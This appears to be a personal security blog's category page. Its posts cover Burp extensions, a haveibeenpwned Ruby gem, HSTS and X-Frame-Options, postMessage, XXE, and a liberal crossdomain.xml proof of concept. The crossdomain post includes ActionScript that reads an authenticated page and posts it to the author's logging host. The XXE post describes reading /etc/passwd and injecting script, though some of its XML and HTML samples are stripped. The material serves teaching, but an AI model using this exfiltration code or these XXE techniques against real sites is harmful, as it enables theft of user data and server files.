Posts From Category: Security

New Burp extension - perfmon

Just whipped together a new Burp extension called perfmon (not to be confused with the Windows tool of the same name). I was really interested in the the resource usage of Burp while doing certain activities.

It adds a new tab to Burp and samples every 5 seconds-

  • Current and max number of threads in use
  • Current and max memory used
  • Current and max memory allocated
  • Ticker to set how often the stats update. 1 – 5 seconds.

Burp Screenshot

I plan to add a few more things and clean up the UI a bit, but it was an interesting exercise.

The source and plugin are on github.

Read More

Writing a Burp Extension - Part One

Background

This is the first part in a series that I plan to write on how to create Burp extensions. I became interested in writing Burp extensions at a previous company where we were fortunate enough to be given time to do research presentations and then present them to our peers. My first presentation topic was to write an Active Scanning extension in Burp that would look for XXE (XML External Entity Injection). I also implemented a standalone app that could run on a host (external from the scan target) and listen for the XXE payload calling out (by making an HTTP request, for example). Literally that same week Collaborator came out and stole my thunder. 🙂 . Last Fall, I was also accepted to DerbyCon and presented a stable talk on Extending Burp.

This series will start with the very basics of creating a working an extension and then continue building out a full-featured extension as we go along. Burp extensions can be written in Java, Ruby (using JRuby), and Python (using Jython). For this series we will write in Java. Here we go…

Extension Basics

In the very simplest case, a Burp extension is a jar file with a class called BurpExtender in a package called Burp. This is the file that Burp looks for when loading an Extension. Based on what you implement in that class is the functionality that the extension will have.

Steps to create a Burp extension

  1. In your favorite Java editor, create a project of type “Class Library” or whatever the equivalent project type where the output is a jar file containing the classes from the project
  2. Open Burp and go the Extender tab. Click on “Save Interface Files” and save them in a folder called “burp” in your file system where the source is for the project you created in Step 1
  3. Create a class called BurpExtender in the burp package in your project and implement IBurpExender. This will require that you implement the registerExtenderCallbacks method. This is the method that you will do any kind of setup for your extension and setup anything that your extension needs
  4. Compile the extension into a jar file and load it into Burp by going to Extender -> Extensions -> Add. That will prompt you to specify the type of extension (Java in this example) and the path to the jar file. Click Next and your extension is loaded!

Sample Code

package burp;
package burp;

import java.io.IOException;
import java.io.OutputStream;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
 *
 * @author chs
 */
public class BurpExtender implements IBurpExtender
{
    private IExtensionHelpers helpers;
    private static final String EXTENSION_NAME = "Sample Burp Extension";
    private OutputStream os;
    
    @Override
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
    {     
        this.helpers = callbacks.getHelpers();
        callbacks.setExtensionName(EXTENSION_NAME);
        os = callbacks.getStdout();
        try
        {
            os.write("Hello, World".getBytes());
        } catch (IOException ex)
        {
            Logger.getLogger(BurpExtender.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
    
}

The interesting lines are 18, 19, and 20. In line 18, getHelpers() returns an object that implements IExtensionHelpers. IExtensionHelpers is an interface that provides methods that are useful by the extension, like encoding/parsing requests/responses, etc. Line 19 sets the name of the extension. This is displayed in the Extender tab. Line 20 saves a reference to the OutputStream for the extension. When you write to it, it shows up in the output window of the extension in the Extender tab.

Once you load the extension and navigate to Extender->Extensions, you will see- Extender->Extensions Details

It shows the name of the extension, it’s location in the filesystem, and methods from the interfaces it implements.

If you click on the Output tab, you will see-

Extender->Extensions->Output Details

This shows the output from registerExtenderCallbacks.

That’s it for this time.  Next post will dive deeper…

Read More

Two Gems Updated

PwnedCheck

PwnedCheck is a gem that checks http://haveibeenpwned.com to see if an email address or user handle has been involved in a breach.

Installation

gem install PwnedCheck

Usage

require 'pwnedcheck'

# The 4 cases.
# foo@bar.com is a valid address on the site
# foo232323ce23ewd@bar.com is a valid address, but not on the site
# foo.bar.com is an invalid format
# mralexgray is a user id in snapchat
list = ['foo@bar.com', 'foo232323ce23ewd@bar.com', 'foo.bar.com', 'mralexgray']

list.each do |item|
  begin
    sites = PwnedCheck::check(item)
    if sites.length == 0
      puts "#{item} --> Not found on http://haveibeenpwned.com"
    else
      sites.each do |site|
        #site is a hash of data returned
        puts item
        puts "\tTitle=#{site['Title']}"
        puts "\tBreach Date=#{site['BreachDate']}"
        puts "\tDescription=#{site['Description']}"
      end
    end
  rescue PwnedCheck::InvalidEmail => e
    puts "#{item} --> #{e.message}"
  end
end
require 'pwnedcheck'

# The 4 cases to check for pastes.
# foo@bar.com is a valid address on the site
# foo232323ce23ewd@bar.com is a valid address, but not on the site
# foo.bar.com is an invalid format
# mralexgray is a user id in snapchat
list = ['foo@bar.com', 'foo232323ce23ewd@bar.com', 'foo.bar.com', 'mralexgray']

list.each do |item|
  begin
    sites = PwnedCheck::check_pastes(item)
    if sites.length == 0
      puts "#{item} --> Not found on http://haveibeenpwned.com"
    else
      sites.each do |site|
        #site is a hash of data returned
        puts item
        puts "\tSource=#{site['Source']}"
        puts "\tTitle=#{site['Title']}"
        puts "\tDate=#{site['Date']}"
        puts "\tEmail Count=#{site['EmailCount']}"
      end
    end
  rescue PwnedCheck::InvalidEmail => e
    puts "#{item} --> #{e.message}"
  end
end

Jekyll-Clicky

Jekyll-clicky is a gem to add clicky analytics to a site generated with Jekyll.

Installation

Add this line to your application’s Gemfile:

And then execute:

$ bundle

Or install it yourself as:

$ gem install jekyll-clicky

Usage Add-

jekyll_clicky:              #Add this if you want to track with Clicky analytics
  site:
    id: ###          # Required - replace with your tracking id

to _config.yml in your jekyll site directory. Replace ### with the id of your clicky site.

Read More

DerbyCon 7.0

So excited to be speaking at DerbyCon 7.0 this year! After attending every year since the conference started, I decided to submit a talk this year and it was accepted. The title of the talk is “Extending Burp”. I’ll run through how to create Burp extensions and some gotcha’s that I figured out.

Hope to see you there!

Read More

Window.postMessage part 2 - an example

In Part 1 of the series, I talked about the basics of Window.postMessage and showed some sample code.  This post will show some real code with a demo link.   This code purposefully has some security issues which will be addressed in the third and final post of the series.

The demo code found at https://www.chs.us/pm/source.html is –

`<iframe src="https://www.bitbucket.me/pm/target.html" style="width:100%; height:50%;"></iframe>





`

What it does is load https://www.bitbucket.me/pm/target.html in an iframe that is 50% of the height of the window and 100% of the width.  It then has a form where you can specify text and when you hit submit, it sends a message to the iframe with the text that is specified in the form.


The code for https://www.bitbucket.me/pm/target.html is –`


`

It first creates registers a function(receiveMessage) to handle the “message” event and creates a div.  When a message is received it, it  appends the text to the div.

Read More

Window.postMessage part 1 - the basics

What is Window.postMessage?

Window.postMessage is a way to safely communicate cross-origin between windows. Normally, pages are only allowed to interact with each other if they share the same origin(protocol+host+port matching). postMessage allows the a developer to get around that.

Syntax

targetWindow.postMessage(message, targetOrigin, [transfer]);

The components are-

  • targetWindow – a reference to another window that you wish to send a message to. You can obtain a reference by a) the object returned by window.open, b) the contentWindow of an iframe, and c) using the numeric index on the Window.frames object
  • message – data sent to the window
  • targetOrigin – specify what the origin of targetWindow must be in order for the event to be dispatched. Either ‘*’ or the full origin. This is necessary because the origin of the window may have changed. It is advised not to specify ‘*’, otherwise you may be sending data to an unintended origin.
  • transfer (optional) – objects that are transferred with the message. After transferring, they are no longer accessible by the sender

What does it look like in practice?

The code in the target window (www.mytarget.com) would look something like this. This script lives on the default page for www.mytarget.com.

window.addEventListener("message", receiveMessage, false);
function receiveMessage(event)
{
  var origin = event.origin || event.originalEvent.origin; // For Chrome,
  if (origin !== "http://www.mysender.com")
    return;
  else
    //dosomething
}

The above code is based off of https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

This is what the sending code would look like (on http://www.mysender.com)

var wnd = window.open("http://www.mytarget.com);
wnd.postMessage("Test Message", "http://www.mytarget.com");

That’s basically what it looks like and how you use Window.postMessage to send messages cross-origin. This gets around the same origin policy which restricts how windows can interact with each based on having the same protocol, host, and port. Part 2 of the series will continue the discussion with the security implications of Window.postMessage and how using it improperly can lead to unintended security vulnerabilities in a page.

Read More

Injection on Windows

So, I’ve been playing around a bit with DLL injection on Windows. The basic process is-

  • Identify the process
  • Open the target process
  • Create a buffer in the target process that’s large enough to hold the path to the DLL to inject
  • Write the path to the DLL to the buffer
  • Create a remote thread in the target process using LoadLibrary as the thread function and the buffer created as the parameter

That’s it in a nutshell. Will show in-depth soon!

Read More

The Witchcraft Compiler Collection by @endrazine

In case you missed Defcon 24 or were there and happened to miss this talk, this is some amazing stuff. It’s called the Witchcraft Compiler Collection (WCC) by my co-worker and friend, Jonathan Brossard.

Some things you can do with WCC:

Read More

An Overview of HSTS

What is HSTS?

HSTS stands for HTTP Strict Transport Security.  It’s a web security policy that allows a web server to inform a web browser that it should only be accessed over HTTPS and never HTTP.  It also helps prevent things like downgrade attacks (switching from HTTPS to HTTP).

How do you set it up?

HSTS is a response header that is set by the web server and sent back to the web browser.   In the HTTP section of your web configuration, you need to configure it to redirect the client to access via HTTPS.  In the HTTPS section of your web configuration is where you set the HSTS header.   From that point on (until the header times out), your browser will only access your site via HTTPS automatically.  Even if you try to access via HTTP, it will enforce you accessing via HTTPS.  This way of doing it allows a client browser to access via HTTP once.

HSTS can also be enforced by being in the browsers’ HSTS preload list.

Web server setup for chs.us

This is what the relevant part of the HTTP VirtualHost would look like-

#Redirect to HTTPS if requested via HTTP
<IfModule mod_rewrite.c>;
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
</IfModule>;

This is what the relevant part of the HTTPS VirtualHost would look like-

#Set HSTS
Header always set Strict-Transport-Security "max-age=108000; preload"

This is what a response from a request to chs.us over HTTPS looks like-

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2016 13:32:23 GMT
Server: localhost
Strict-Transport-Security: max-age=108000; preload
Last-Modified: Thu, 23 Jun 2016 13:32:24 GMT
Pragma: public
Cache-Control: max-age=7200, public
Vary: Accept-Encoding
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: chs.us
Content-Length: 64416
Connection: close
Content-Type: text/html; charset=UTF-8

What does the header look like?

Strict-Transport-Security: max-age=; includeSubdomains; preload

The parameters are-

  • max-age is the number of seconds you want the browser to cache the header.  Keep in mind that every time time you get a response over HTTPS, the max-age in the client browser is reset
  • includeSubdomains informs the browser to also enforce HTTP on subdomains by default
  • preload is a tag that announces the fact that your site can be added to the default preload list that the browsers have built-in.  If your site is in this list, any time a browser access the site it will be over HTTPS.  You can add your site to the list by going to http://hstspreload.appspot.com.  Most browsers use this shared list, so it will be included in future browser updates.   The reason the preload tag exists is so that not just anyone can add a site to the preload list.   If they could, they would be able to deny service to sites that don’t have HTTPS, but are in the pre-load list.

Read More

XML External Entity attack (XXE) in a Nutshell

The XXE attack has been around for a few years, but hasn’t gotten much attention until the last couple of years with some high-profile cases in Facebook and PayPal.

So, what is the XML External Entity attack? XXE is an abbreviation for XML External Entity. It is a part of the XML spec that allows a document to have entities that resolve to someplace external (not within the same document).

Some basic examples demonstrate the concept describe it best. For example, let’s say that we have a web app that takes as input an xml file and displays it in a table.

Example 1

Here’s a sample input file-


  <contacts>
    <contact>
      <login>bobw</login>
      <name>Bob Walker</name>
      <email>bob@bob.com</email>
    </contact>
    <contact>
      <login>ajones</login>
      <name>Alice Jones</name>
      <email>alice@alice.com</email>
    </contact>
</contacts>

This is processed and displays the following-

login name email
bobw Bob Walker bob@bob.com
ajones Alice Jones alice@alice.com

</body>

Pretty Straightforward, right?


Example 2</p>

Now, let’s take the same example and add an entity-



]>
  <contacts>
    <contact>
      <login>&foo;</login>
      <name>Bob Walker</name>
      <email>bob@bob.com</email>
    </contact>
    <contact>
      <login>ajones</login>
      <name>Alice Jones</name>
      <email>alice@alice.com</email>
    </contact>
</contacts>

This processes and displays-

login name email
Foo Bob Walker bob@bob.com
ajones Alice Jones alice@alice.com

What happened? On line 3 of the xml file we created an entity called foo which is the string, “Foo”. We then use that entity, &foo, in place of Bob’s username on line 7. While processing the document the parser substituted “Foo” when it saw &foo;.


Example 3</p>

Now let’s do something really interesting. Consider the following-



]>
  <contacts>
    <contact>
      <login>&foo;</login>
      <name>Bob Walker</name>
      <email>bob@bob.com</email>
    </contact>
    <contact>
      <login>ajones</login>
      <name>Alice Jones</name>
      <email>alice@alice.com</email>
    </contact>
</contacts>

This processes and displays-

login name email
root:x:0:0:root:/root:/bin/bash Bob Walker bob@bob.com
ajones Alice Jones alice@alice.com

What did it do? On line 3, the keyword SYSTEM means that this entity reference is external to the document. In this case, the external entity references /etc/passwd on the system that is processing the xml. This causes the contents of /etc/passwd to be pulled into the document and then displayed.


Example 4</p>

Up to this point, the attacks have been against the server. How can we attack the user?

Consider this-



]>
  <contacts>
    <contact>
      <login>&foo;</login>
      <name>Bob Walker</name>
      <email>bob@bob.com</email>
    </contact>
    <contact>
      <login>ajones</login>
      <name>Alice Jones</name>
      <email>alice@alice.com</email>
    </contact>
</contacts>

What do you think the external entity reference does here? It returns . When the table displays that script is executed in the browser. (I’m not displaying the results like in previous examples because it would execute while you are reading this and it’s just an example showing that it’s vulnerable.).

I hope these examples give you a basic understanding of what the XXE vulnerability is. I’ll likely do a follow-up post with more advanced examples soon and how to mitigate it soon.

Read More

javax.net.ssl.SSLPeerUnverifiedException when proxying SoapUI through Burp

Ever try to proxy SoapUI through Burp when accessing an endpoint over ssl and get this error?

SSL Error in SOAPUI

Here’s how to fix-

First, in your SoapUI script(s), change the protocol of all of the endpoints from https to http.

Then go to the Proxy Listeners section in Burp and edit your current proxy.

Proxy Listeners Settings in Burp

Then go to the Request Handling Settings and select Force use of SSL

Request Handling Settings in Burp

This basically achieves several things.  It removes the untrusted cert error that SoapUI gives because the Burp SSL proxy cert doesn’t match the endpoint, isn’t a trusted cert, or isn’t in the Java keystore. It also allows you to view all of the traffic in Burp easily. Just remember that the Force use of SSL setting in Burp for the proxy forces all traffic through through the proxy to go over ssl, so be sure to change it back when finished.

Read More

Ruby and Security Presentation

ruby

So, a couple of weeks ago I presented to the Indy OWASP Chapter about a topic near and dear to my heart- ruby and security. I really had a great time creating and giving the presentation and hope to expand it for a future talk.

Read More

Recommended Security Reading List Link

Those of you that know me know that books are my vice. I have a ton of books. I have them at my house, in my car, at my office, etc. I have paperbacks, hardbacks, and e-books. I’ve recently started bringing in a few to work each day in order to reduce clutter at my house.

Anyway…

I stumbled across this reading list -> http://dfir.org/?q=node/8 which is a great list by @attrc that breaks down books by subject and skill level. If you are looking for good books on security, this is definitely something to check out. And if you live near me, ping me and I most likely have them if you would like to borrow. 🙂

Read More

Liberal Crossdomain.xml Example- Part 2

As a followup to Liberal Crossdomain.xml Exploit Example – Part 1, this is the source for the Flash app.

package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;
 
 public class flasher extends Sprite {
  public function flasher() {
   // Target URL from where the data is to be retrieved
   var readFrom:String = "http://rubysecurity.info/login/info.php";
   var readRequest:URLRequest = new URLRequest(readFrom);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try 
   {
    getLoader.load(readRequest);
   } 
   catch (error:Error) 
   {
   }
  }
 
  private function eventHandler(event:Event):void 
  { 
   // URL to which retrieved data is to be sent
   var sendTo:String = "http://injectionvector.com/flasher/log.php"
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;
   sendRequest.data = event.target.data;
   var sendLoader:URLLoader = new URLLoader();
   try 
   {
    sendLoader.load(sendRequest);
   } 
   catch (error:Error) 
   {
   }
  }
 }
}

It’s really a fairly simple Flash applet. The class is called flasher and extends Sprite. Sprite is a base class for UI components that don’t use the timeline. In the constructor it creates a URLRequest object to data from the location specified in the readFrom variable via a URLLoader object. It then sets an event handler, called eventhandler, that is called when that read is done. When the read is done, it then basically does the same thing, but posts to the variable specified in sendTo and sets the body of the request to be the data received from the first step.

Note: This is based off an example that I found, but have misplaced. Once found, I will update the post to reference it.

Read More

Liberal Crossdomain.xml Exploit Example - Part 1

So, I decided to whip up this PoC of a liberal crossdomain.xml policy and what you can do with it. It’s been on my mind recently and thought a tangible example would help solidify in mind some of the possibilities. First, the basics-

What is a crossdomain.xml file?

A crossdomain.xml file essentially lets a domain specify the domains from which flash applets are loaded that are allowed to access it. The domain(s) that the crossdomain.xml file specifies are the domain from which the applet is loaded, not the domain that references the flash file.

Why does this matter?

Keep in mind that when a flash applet makes a call to retrieve data from a domain, the browser includes any cookies for that domain with the call. So, if it’s a domain that you’re authenticated with, then the flash applet will have the same access to that domain as the user does when accessing the site.

A working example

There are 2 domains for this example- rubysecurity.info and injectionvector.com. These are both domains that I own and have used for this demo.

Try going to http://rubysecurity.info/login/info.php. You will get a message that looks like this-

You are not logged in. Please login

because you are not logged in. That page requires you to be authenticated to view it. (In this cause “authenticated” means a cookie is set with your username:password in it)

Then go to http://rubysecurity.info/login and input anything as the user name and anything as the password. In my example, I used “chs” for both. You will be redirected to http://rubysecurity.info/login/info.php with a message that looks like-

Thanks for logging in! Your credentials are: chs:chs. Do not share them with others.  You must be authenticated to view this page.

Since you are authenticated, it lets you get to that page and shows you your username:password in this example. In a real world site it could be a page that shows you bank balances, sensitive data, etc.

Now, in another browser tab open http://injectionvector.com/flasher. It appears that nothing happens. But, in the background it connected to http://rubysecurity.info/login/info.php, got the response, and logged it.

You can see the results at http://injectionvector.com/flasher/readlog.php

Currently it looks like-

Thanks for logging in! Your credentials are: chs:chs. Do not share them with others. You must be authenticated to view this page. 

So, the flash applet that I wrote on http://injectionvector.com/flasher connected to http://rubysecurity.info/login/info.php and pulled the content utilizing your existing session with rubysecurity.info.

Why did that happen?

The reason this happened was because rubysecurity.info had a liberal crossdomain.xml policy. In this example, it lets any flash applet connect. It looks like-



<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

When a flash applet tries to connect to a domain, the flash container attempts to retrieve crossdomain.xml and applies the policy it contains. Since the above one allows access from any domain, the flash applet from injectionvector.com was allowed to connect, access the page, and log the results.

Part 2

Read More

Unauthorized Access

Dear Friend from 175.126.111.48,

Please stop trying to log in to this site.

Thanks,

Management

Read More

PwnedCheck updated to also check for Snapchat

PwnedCheck is a ruby gem that I wrote that checks an email address, phone number, or username against the new site by Troy Hunt called haveibeenpwned.com. His site aggregates data from breaches and allows you to check to see if your data has been compromised. Use it as follows-

Installation

gem install PwnedCheck

Usage:

require 'pwnedcheck'

# The 4 cases.
# foo@bar.com is a valid address on the site
# foo232323ce23ewd@bar.com is a valid address, but not on the site
# foo.bar.com is an invalid format
# mralexgray is a user id in snapchat
list = ['foo@bar.com', 'foo232323ce23ewd@bar.com', 'foo.bar.com', 'mralexgray']

list.each do |item|
  begin
    sites = PwnedCheck::check(item)
    if sites.length == 0
      puts "#{item} --> Not found on http://haveibeenpwned.com"
    else
      sites.each do |site|
        puts "#{item} --> #{site}"
      end
    end
  rescue PwnedCheck::InvalidEmail => e
    puts "#{item} --> #{e.message}"
  end
end

Output:

foo@bar.com --> Adobe
foo@bar.com --> Gawker
foo@bar.com --> Stratfor
foo232323ce23ewd@bar.com --> Not found on http://haveibeenpwned.com
foo.bar.com --> Not found on http://haveibeenpwned.com
mralexgray --> Snapchat

The code is available at http://github.com/sampsonc/PwnedCheck and the gem page is http://rubygems.org/gems/PwnedCheck.

Read More

PwnedCheck passed 1000 downloads!

I’m so excited. My first experiment with creating and publishing a ruby gem seems to have been successful! As of this post it’s been downloaded 1069 times in the past 4 days. PwnedCheck is a ruby gem that I wrote that checks an email address against the new site by Troy Hunt called haveibeenpwned.com. His site aggregates password dumps from breaches and allows you to check to see if your password has been compromised. Use it as follows-

Installation

gem install PwnedCheck

Usage:

require 'pwnedcheck'

# The 3 cases.
# foo@bar.com is a valid address on the site
# foo232323ce23ewd@bar.com is a valid address, but not on the site
# foo.bar.com is an invalid format
addresses = ['foo@bar.com', 'foo232323ce23ewd@bar.com', 'foo.bar.com']

addresses.each do |address|
  begin
    sites = PwnedCheck::check(address)
    if sites.length == 0
      puts "#{address} --> Not found on http://haveibeenpwned.com"
    else
      sites.each do |site|
        puts "#{address} --> #{site}"
      end
    end
  rescue PwnedCheck::InvalidEmail => e
    puts "#{address} --> #{e.message}"
  end
end

The code is available at http://github.com/sampsonc/PwnedCheck and the gem page is http://rubygems.org/gems/PwnedCheck.

Read More

New ruby gem to access @haveibeenpwned.

So, I decided to figure out how to create a ruby gem and decided to start with a simple gem that checks an email address against http://haveibeenpwned.com.

Installation

gem install PwnedCheck

Usage:

require 'pwnedcheck'

# The 3 cases.
# foo@bar.com is a valid address on the site
# foo232323ce23ewd@bar.com is a valid address, but not on the site
# foo.bar.com is an invalid format
addresses = ['foo@bar.com', 'foo232323ce23ewd@bar.com', 'foo.bar.com']

addresses.each do |address|
  begin
    sites = PwnedCheck::check(address)
    if sites.length == 0
      puts "#{address} --> Not found on http://haveibeenpwned.com"
    else
      sites.each do |site|
        puts "#{address} --> #{site}"
      end
    end
  rescue PwnedCheck::InvalidEmail => e
    puts "#{address} --> #{e.message}"
  end
end

The code is available at http://github.com/sampsonc/PwnedCheck and the gem page is http://rubygems.org/gems/PwnedCheck.

Let me know what you think!

Read More

What is X-Frame-Options?

X-Frame-Options is an HTTP response header that serves as a directive to a browser regarding if or how the current response would like itself to be framed. Framing and window positioning/layering tricks are used quite often in an attack called clickjacking in which a user is tricked into inadvertently clicking on something unintended. For more information see https://www.owasp.org/index.php/Clickjacking.

There are 3 options for X-Frame-Options-

  • DENY. This tells the browser that the page should never be framed.
  • SAMEORIGIN. This tells the browser that the page can be framed within a page that is from the same origin.
  • ALLOW-FROM uri. This tells the browser that the page can be framed on the specified origin.

This site, for example, is set to SAMEORIGIN. So in effect, a page on this origin could be framed by another page in this origin.

This is supported by most newer browsers. Should a site attempt to frame a site and it violates the site policy, it will either display about:blank in the frame or perhaps an error. If a browser doesn’t support the header, it will simply ignore it.

Another mechanism you might see as a clickjacking mitigation that tries to achieve the same goal is “frame-busting JavaScript”. This is JavaScript code that detects if the page is the top-level window (not framed). If it detects that it isn’t, it makes itself the top-level window. Since this is code that is run client-side, it does have several weaknesses such as JavaScript not being enabled, the response being modified to remove it, etc.

Read More